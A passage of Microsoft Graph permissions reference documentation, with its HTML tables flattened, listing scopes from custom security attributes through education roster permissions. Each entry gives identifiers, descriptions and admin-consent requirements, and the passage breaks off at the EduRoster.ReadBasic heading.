    AdminConsentRequiredYesYes
    +
    +

    CustomSecAttributeAuditLogs.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2a4f026d-e829-4e84-bdbf-d981a27030591fcdeaab-b519-44dd-bffc-ed1fd15a24e0
    DisplayTextRead all custom security attribute audit logsRead custom security attribute audit logs
    DescriptionAllows the app to read all audit logs for events that contain information about custom security attributes, without a signed-in user.Allows the app to read audit logs for events that contain information about custom security attributes, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomSecAttributeDefinition.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb185aa14-d8d2-42c1-a685-0f5596613624ce026878-a0ff-4745-a728-d4fedd086c07
    DisplayTextRead custom security attribute definitionsRead custom security attribute definitions
    DescriptionAllows the app to read custom security attribute definitions for the tenant without a signed in user.Allows the app to read custom security attribute definitions for the tenant on behalf of a signed in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomSecAttributeDefinition.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier12338004-21f4-4896-bf5e-b75dfaf1016d8b0160d4-5743-482b-bb27-efc0a485ca4a
    DisplayTextRead and write custom security attribute definitionsRead and write custom security attribute definitions
    DescriptionAllows the app to read and write custom security attribute definitions for the tenant without a signed in user.Allows the app to read and write custom security attribute definitions for the tenant on behalf of a signed in user.
    AdminConsentRequiredYesYes
    +
    +

    CustomTags.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierab8a5872-7c88-47a6-8141-7becce939190de6ea87d-10bd-467c-8682-d525a0c61b89
    DisplayTextRead all custom tags dataRead all custom tags data
    DescriptionRead custom tags data, without a signed-in userRead custom tags data on behalf of the signed-in user
    AdminConsentRequiredYesYes
    +
    +

    CustomTags.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2f503208-e509-4e39-974c-8cc16e5785c92f1bbe0a-f34b-4efb-9edb-8db8dcb50eca
    DisplayTextRead and write custom tags dataRead and write custom tags data
    DescriptionRead and write custom tags data, without a signed-in userRead and write custom tags data on behalf of the signed-in user
    AdminConsentRequiredYesYes
    +
    +

    DelegatedAdminRelationship.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf6e9e124-4586-492f-adc0-c6f96e4823fd0c0064ea-477b-4130-82a5-4c2cc4ff68aa
    DisplayTextRead Delegated Admin relationships with customersRead Delegated Admin relationships with customers
    DescriptionAllows the app to read details of delegated admin relationships with customers like access details (that includes roles) and the duration as well as specific role assignments to security groups without a signed-in user.Allows the app to read details of delegated admin relationships with customers like access details (that includes roles) and the duration as well as specific role assignments to security groups on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    DelegatedAdminRelationship.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiercc13eba4-8cd8-44c6-b4d4-f93237adce58885f682f-a990-4bad-a642-36736a74b0c7
    DisplayTextManage Delegated Admin relationships with customersManage Delegated Admin relationships with customers
    DescriptionAllows the app to manage (create-update-terminate) Delegated Admin relationships with customers and role assignments to security groups for active Delegated Admin relationships without a signed-in user.Allows the app to manage (create-update-terminate) Delegated Admin relationships with customers as well as role assignments to security groups for active Delegated Admin relationships on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    DelegatedPermissionGrant.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier81b4724a-58aa-41c1-8a55-84ef97466587a197cdc4-a8e8-4d49-9d35-4ca7c83887b4
    DisplayTextRead all delegated permission grantsRead delegated permission grants
    DescriptionAllows the app to read all delegated permission grants, without a signed-in user.Allows the app to read delegated permission grants, on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    DelegatedPermissionGrant.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier8e8e4742-1d95-4f68-9d56-6ee75648c72a41ce6ca6-6826-4807-84f1-1c82854f7ee5
    DisplayTextManage all delegated permission grantsManage all delegated permission grants
    DescriptionAllows the app to manage permission grants for delegated permissions exposed by any API (including Microsoft Graph), without a signed-in user.Allows the app to manage permission grants for delegated permissions exposed by any API (including Microsoft Graph), on behalf of the signed in user.
    AdminConsentRequiredYesYes
    +
    +

    Device.Command

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-bac3b9c2-b516-4ef4-bd3b-c2ef73d8d804
    DisplayText-Communicate with user devices
    Description-Allows the app to launch another app or communicate with another app on a user's device on behalf of the signed-in user.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Device.Command delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Device.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-11d4cd79-5ba5-460f-803f-e22c8ab85ccd
    DisplayText-Read user devices
    Description-Allows the app to read a user's list of devices on behalf of the signed-in user.
    AdminConsentRequired-No
    +

    personal Microsoft accounts The Device.Read delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Device.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7438b122-aefc-4978-80ed-43db9fcc7715951183d1-1a61-466f-a6d1-1fde911bfd95
    DisplayTextRead all devicesRead all devices
    DescriptionAllows the app to read your organization's devices' configuration information without a signed-in user.Allows the app to read your organization's devices' configuration information on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +

    personal Microsoft accounts The Device.Read.All delegated permission is available for consent in personal Microsoft accounts.

    +
    +

    Device.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier1138cb37-bd11-4084-a2b7-9f71582aeddb-
    DisplayTextRead and write devices-
    DescriptionAllows the app to read and write all device properties without a signed in user. Does not allow device creation, device deletion or update of device alternative security identifiers.-
    AdminConsentRequiredYes-
    + +

    Before December 3rd, 2020, when the application permission Device.ReadWrite.All was granted, the Device Managers directory role was also assigned to the app's service principal. This directory role assignment is not removed automatically when the associated application permissions is revoked. To ensure that an application's access to read or write to devices is removed, customers must also remove any related directory roles that were granted to the application.

    +

    A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11th, 2021. Directory roles are no longer automatically assigned when application permissions are granted.

    +
    +

    DeviceLocalCredential.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier884b599e-4d48-43a5-ba94-15c414d00588280b3b69-0437-44b1-bc20-3b2fca1ee3e9
    DisplayTextRead device local credential passwordsRead device local credential passwords
    DescriptionAllows the app to read device local credential properties including passwords, without a signed-in user.Allows the app to read device local credential properties including passwords, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    DeviceLocalCredential.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdb51be59-e728-414b-b800-e0f010df1a799917900e-410b-4d15-846e-42a357488545
    DisplayTextRead device local credential propertiesRead device local credential properties
    DescriptionAllows the app to read device local credential properties excluding passwords, without a signed-in user.Allows the app to read device local credential properties excluding passwords, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    DeviceManagementApps.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7a6ee1e7-141e-4cec-ae74-d9db155731ff4edf5f54-4666-44af-9de9-0144fb4b6e8c
    DisplayTextRead Microsoft Intune appsRead Microsoft Intune apps
    DescriptionAllows the app to read the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune, without a signed-in user.Allows the app to read the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementApps.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier78145de6-330d-4800-a6ce-494ff2d33d077b3f05d5-f68c-4b8d-8c59-a2ecd12f24af
    DisplayTextRead and write Microsoft Intune appsRead and write Microsoft Intune apps
    DescriptionAllows the app to read and write the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune, without a signed-in user.Allows the app to read and write the properties, group assignments and status of apps, app configurations and app protection policies managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementConfiguration.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdc377aa6-52d8-4e23-b271-2a7ae04cedf3f1493658-876a-4c87-8fa7-edb559b3476a
    DisplayTextRead Microsoft Intune device configuration and policiesRead Microsoft Intune Device Configuration and Policies
    DescriptionAllows the app to read properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups, without a signed-in user.Allows the app to read properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementConfiguration.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9241abd9-d0e6-425a-bd4f-47ba86e767a40883f392-0a7a-443d-8c76-16a6d39c7b63
    DisplayTextRead and write Microsoft Intune device configuration and policiesRead and write Microsoft Intune Device Configuration and Policies
    DescriptionAllows the app to read and write properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups, without a signed-in user.Allows the app to read and write properties of Microsoft Intune-managed device configuration and device compliance policies and their assignment to groups.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementManagedDevices.PrivilegedOperations.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5b07b0dd-2377-4e44-a38d-703f09a0dc3c3404d2bf-2b13-457e-a330-c24615765193
    DisplayTextPerform user-impacting remote actions on Microsoft Intune devicesPerform user-impacting remote actions on Microsoft Intune devices
    DescriptionAllows the app to perform remote high impact actions such as wiping the device or resetting the passcode on devices managed by Microsoft Intune, without a signed-in user.Allows the app to perform remote high impact actions such as wiping the device or resetting the passcode on devices managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementManagedDevices.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier2f51be20-0bb4-4fed-bf7b-db946066c75e314874da-47d6-4978-88dc-cf0d37f0bb82
    DisplayTextRead Microsoft Intune devicesRead Microsoft Intune devices
    DescriptionAllows the app to read the properties of devices managed by Microsoft Intune, without a signed-in user.Allows the app to read the properties of devices managed by Microsoft Intune.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementManagedDevices.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier243333ab-4d21-40cb-a475-36241daa084244642bfe-8385-4adc-8fc6-fe3cb2c375c3
    DisplayTextRead and write Microsoft Intune devicesRead and write Microsoft Intune devices
    DescriptionAllows the app to read and write the properties of devices managed by Microsoft Intune, without a signed-in user. Does not allow high impact operations such as remote wipe and password reset on the device's ownerAllows the app to read and write the properties of devices managed by Microsoft Intune. Does not allow high impact operations such as remote wipe and password reset on the device's owner.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementRBAC.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier58ca0d9a-1575-47e1-a3cb-007ef2e4583b49f0cc30-024c-4dfd-ab3e-82e137ee5431
    DisplayTextRead Microsoft Intune RBAC settingsRead Microsoft Intune RBAC settings
    DescriptionAllows the app to read the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings, without a signed-in user.Allows the app to read the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementRBAC.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere330c4f0-4170-414e-a55a-2f022ec2b57b0c5e8a55-87a6-4556-93ab-adc52c4d862d
    DisplayTextRead and write Microsoft Intune RBAC settingsRead and write Microsoft Intune RBAC settings
    DescriptionAllows the app to read and write the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings, without a signed-in user.Allows the app to read and write the properties relating to the Microsoft Intune Role-Based Access Control (RBAC) settings.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementServiceConfig.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier06a5fe6d-c49d-46a7-b082-56b1b14103c78696daa5-bce5-4b2e-83f9-51b6defc4e1e
    DisplayTextRead Microsoft Intune configurationRead Microsoft Intune configuration
    DescriptionAllows the app to read Microsoft Intune service properties including device enrollment and third party service connection configuration, without a signed-in user.Allows the app to read Microsoft Intune service properties including device enrollment and third party service connection configuration.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    DeviceManagementServiceConfig.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier5ac13192-7ace-4fcf-b828-1a26f28068ee662ed50a-ac44-4eef-ad86-62eed9be2a29
    DisplayTextRead and write Microsoft Intune configurationRead and write Microsoft Intune configuration
    DescriptionAllows the app to read and write Microsoft Intune service properties including device enrollment and third party service connection configuration, without a signed-in user.Allows the app to read and write Microsoft Intune service properties including device enrollment and third party service connection configuration.
    AdminConsentRequiredYesYes
    + +

    Using the Microsoft Graph APIs to configure Intune controls and policies still requires that the Intune service is correctly licensed by the customer.

    +

    These permissions aren't supported for personal Microsoft accounts.

    +
    +

    Directory.AccessAsUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-0e263e50-5827-48a4-b97c-d940288653c7
    DisplayText-Access directory as the signed in user
    Description-Allows the app to have the same access to information in the directory as the signed-in user.
    AdminConsentRequired-Yes
    + +

    Directory permissions provide the highest level of privilege for accessing directory resources such as user, group, and device in an organization.

    +

    They also exclusively control access to other directory resources like: organizational contacts and schema extensions, as well as many directory resources including administrative units, directory roles, directory settings, and policies.

    + +
    +

    Directory.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7ab1d382-f21e-4acd-a863-ba3e13f7da6106da0dbc-49e2-44d2-8312-53f166ab848a
    DisplayTextRead directory dataRead directory data
    DescriptionAllows the app to read data in your organization's directory, such as users, groups and apps, without a signed-in user.Allows the app to read data in your organization's directory, such as users, groups and apps.
    AdminConsentRequiredYesYes
    + +

    Directory permissions provide the highest level of privilege for accessing directory resources such as user, group, and device in an organization.

    +

    They also exclusively control access to other directory resources like: organizational contacts and schema extensions, as well as many directory resources including administrative units, directory roles, directory settings, and policies.

    +
    +

    Note

    +

    Before December 3rd, 2020, when the application permission Directory.Read.All was granted, the Directory Readers directory role was also assigned to the app's service principal. This directory role isn't removed automatically when the associated application permissions are revoked. To remove an application's access to read or write to the directory, customers must also remove any directory roles that were granted to the application.

    +

    A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11th, 2021. Directory roles are no longer automatically assigned when application permissions are granted.

    +
    +
    +

    Directory.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier19dbc75e-c2e2-444c-a770-ec69d8559fc7c5366453-9fb0-48a5-a156-24f0c49a4b84
    DisplayTextRead and write directory dataRead and write directory data
    DescriptionAllows the app to read and write data in your organization's directory, such as users, and groups, without a signed-in user. Does not allow user or group deletion.Allows the app to read and write data in your organization's directory, such as users, and groups. It does not allow the app to delete users or groups, or reset user passwords.
    AdminConsentRequiredYesYes
    + +

    Directory permissions are not recommended for use and might be deprecated in the future.

    +

    Directory.ReadWrite.All grants access that is broadly equivalent to a global tenant admin. Apps that are granted Directory.ReadWrite.All can manage the full range of directory resources, and they can manage authorization for other apps and users to access resources across the organization. This includes directory resources like users, groups, applications, and devices, and nondirectory resources in Exchange, SharePoint, Teams, and other services.

    +

    Before December 3rd, 2020, when the application permission Directory.ReadWrite.All was granted, the Directory Writers directory role was also assigned. This directory role isn't removed automatically when the associated application permissions are revoked. To remove an application's access to read or write to the directory, customers must also remove any directory roles that were granted to the application.

    +

    A service update disabling this behavior began rolling out on December 3rd, 2020. Deployment to all customers completed on January 11, 2021. Directory roles are no longer automatically assigned when application permissions are granted.

    +
    +

    Directory.Write.Restricted

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf20584af-9290-4153-9280-ff8bb2c0ea7fcba5390f-ed6a-4b7f-b657-0efc2210ed20
    DisplayTextManage restricted resources in the directoryManage restricted resources in the directory
    DescriptionAllows the app to manage restricted resources based on the other permissions granted to the app, without a signed-in user.Allows the app to manage restricted resources based on the other permissions granted to the app, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    DirectoryRecommendations.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierae73097b-cb2a-4447-b064-5d80f609392134d3bd24-f6a6-468c-b67c-0c365c1d6410
    DisplayTextRead all Azure AD recommendationsRead Azure AD recommendations
    DescriptionAllows the app to read all Azure AD recommendations, without a signed-in user.Allows the app to read Azure AD recommendations, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    DirectoryRecommendations.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0e9eea12-4f01-45f6-9b8d-3ea4c8144158f37235e8-90a0-4189-93e2-e55b53867ccd
    DisplayTextRead and update all Azure AD recommendationsRead and update Azure AD recommendations
    DescriptionAllows the app to read and update all Azure AD recommendations, without a signed-in user.Allows the app to read and update Azure AD recommendations, on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Domain.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierdbb9058a-0e50-45d7-ae91-66909b5d46642f9ee017-59c1-4f1d-9472-bd5529a7b311
    DisplayTextRead domainsRead domains.
    DescriptionAllows the app to read all domain properties without a signed-in user.Allows the app to read all domain properties on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    Domain.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7e05723c-0bb0-42da-be95-ae9f08a6e53c0b5d694c-a244-4bde-86e6-eb5cd07730fe
    DisplayTextRead and write domainsRead and write domains
    DescriptionAllows the app to read and write all domain properties without a signed in user.  Also allows the app to add,  verify and remove domains.Allows the app to read and write all domain properties on behalf of the signed-in user. Also allows the app to add, verify and remove domains.
    AdminConsentRequiredYesYes
    +
    +

    EAS.AccessAsUser.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-ff91d191-45a0-43fd-b837-bd682c4a0b0f
    DisplayText-Access mailboxes via Exchange ActiveSync
    Description-Allows the app to have the same access to mailboxes as the signed-in user via Exchange ActiveSync.
    AdminConsentRequired-No
    +
    +

    eDiscovery.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier50180013-6191-4d1e-a373-e590ff4e66af99201db3-7652-4d5a-809a-bdb94f85fe3c
    DisplayTextRead all eDiscovery objectsRead all eDiscovery objects
    DescriptionAllows the app to read eDiscovery objects such as cases, custodians, review sets and other related objects without a signed-in user.Allows the app to read eDiscovery objects such as cases, custodians, review sets and other related objects on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    eDiscovery.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierb2620db1-3bf7-4c5b-9cb9-576d29eac736acb8f680-0834-4146-b69e-4ab1b39745ad
    DisplayTextRead and write all eDiscovery objectsRead and write all eDiscovery objects
    DescriptionAllows the app to read and write eDiscovery objects such as cases, custodians, review sets and other related objects without a signed-in user.Allows the app to read and write eDiscovery objects such as cases, custodians, review sets and other related objects on behalf of the signed-in user.
    AdminConsentRequiredYesYes
    +
    +

    EduAdministration.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-8523895c-6081-45bf-8a5d-f062a2f12c9f
    DisplayText-Read education app settings
    Description-Read the state and settings of all Microsoft education apps on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduAdministration.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier7c9db06a-ec2d-4e7b-a592-5a1e30992566-
    DisplayTextRead Education app settings-
    DescriptionRead the state and settings of all Microsoft education apps.-
    AdminConsentRequiredYes-
    +
    +

    EduAdministration.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-63589852-04e3-46b4-bae9-15d5b1050748
    DisplayText-Manage education app settings
    Description-Manage the state and settings of all Microsoft education apps on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduAdministration.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier9bc431c3-b8bc-4a8d-a219-40f10f92eff6-
    DisplayTextManage education app settings-
    DescriptionManage the state and settings of all Microsoft education apps.-
    AdminConsentRequiredYes-
    +
    +

    EduAssignments.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-091460c9-9c4a-49b2-81ef-1f3d852acce2
    DisplayText-Read users' class assignments and their grades
    Description-Allows the app to read assignments and their grades on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduAssignments.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier4c37e1b6-35a1-43bf-926a-6f30f2cdf585-
    DisplayTextRead all class assignments with grades-
    DescriptionAllows the app to read all class assignments with grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduAssignments.ReadBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-c0b0103b-c053-4b2e-9973-9f3a544ec9b8
    DisplayText-Read users' class assignments without grades
    Description-Allows the app to read assignments without grades on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduAssignments.ReadBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6e0a958b-b7fc-4348-b7c4-a6ab9fd3dd0e-
    DisplayTextRead all class assignments without grades-
    DescriptionAllows the app to read all class assignments without grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduAssignments.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2f233e90-164b-4501-8bce-31af2559a2d3
    DisplayText-Read and write users' class assignments and their grades
    Description-Allows the app to read and write assignments and their grades on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduAssignments.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier0d22204b-6cad-4dd0-8362-3e3f2ae699d9-
    DisplayTextCreate, read, update and delete all class assignments with grades-
    DescriptionAllows the app to create, read, update and delete all class assignments with grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduAssignments.ReadWriteBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-2ef770a1-622a-47c4-93ee-28d6adbed3a0
    DisplayText-Read and write users' class assignments without grades
    Description-Allows the app to read and write assignments without grades on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduAssignments.ReadWriteBasic.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf431cc63-a2de-48c4-8054-a34bc093af84-
    DisplayTextCreate, read, update and delete all class assignments without grades-
    DescriptionAllows the app to create, read, update and delete all class assignments without grades for all users without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduCurricula.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-484859e8-b9e2-4e92-b910-84db35dadd29
    DisplayText-Read the user's class modules and resources
    Description-Allows the app to read the user's modules and resources on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    EduCurricula.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6cdb464c-3a03-40f8-900b-4cb7ea1da9c0-
    DisplayTextRead all class modules and resources-
    DescriptionAllows the app to read all modules and resources, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduCurricula.ReadWrite

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-4793c53b-df34-44fd-8d26-d15c517732f5
    DisplayText-Read and write the user's class modules and resources
    Description-Allows the app to read and write user's modules and resources on behalf of the signed-in user.
    AdminConsentRequired-Yes
    +
    +

    EduCurricula.ReadWrite.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier6a0c2318-d59d-4c7d-bf2e-5f3902dc2593-
    DisplayTextRead and write all class modules and resources-
    DescriptionAllows the app to read and write all modules and resources, without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduReports-Reading.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierad248c30-1919-40c8-b3d2-304481894e88-
    DisplayTextRead all tenant reading assignments submissions data-
    DescriptionAllows the app to read all tenant users reading assignments submissions data without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduReports-Reading.ReadAnonymous.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier040330d7-be7e-4130-b349-a6eb3a56e2f8-
    DisplayTextRead all tenant reading assignments submissions data-
    DescriptionAllows the app to read all tenant users reading assignments submissions data (excludes student-identifying information) without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduReports-Reflect.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierc5debf73-bdc8-473d-bf07-f4074ad05f71-
    DisplayTextRead all tenant reflect check-ins submissions data-
    DescriptionAllows the app to read all tenant users reflect check-ins submissions data without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduReports-Reflect.ReadAnonymous.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifierf5d05dba-7ef0-46fc-b62c-a7282555f428-
    DisplayTextRead all tenant reflect check-ins submissions data-
    DescriptionAllows the app to read all tenant users reflect check-ins submissions data (excludes responder-identifying information) without a signed-in user.-
    AdminConsentRequiredYes-
    +
    +

    EduRoster.Read

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifier-a4389601-22d9-4096-ac18-36a927199112
    DisplayText-Read users' view of the roster
    Description-Allows the app to read the structure of schools and classes in an organization's roster and education-specific information about users to be read on behalf of the user.
    AdminConsentRequired-Yes
    +
    +

    EduRoster.Read.All

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    CategoryApplicationDelegated
    Identifiere0ac9e1b-cb65-4fc5-87c5-1a8bc181f648-
    DisplayTextRead the organization's roster-
    DescriptionAllows the app to read the structure of schools and classes in the organization's roster and education-specific information about all users to be read.-
    AdminConsentRequiredYes-
    +
    +

    EduRoster.ReadBasic

    + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
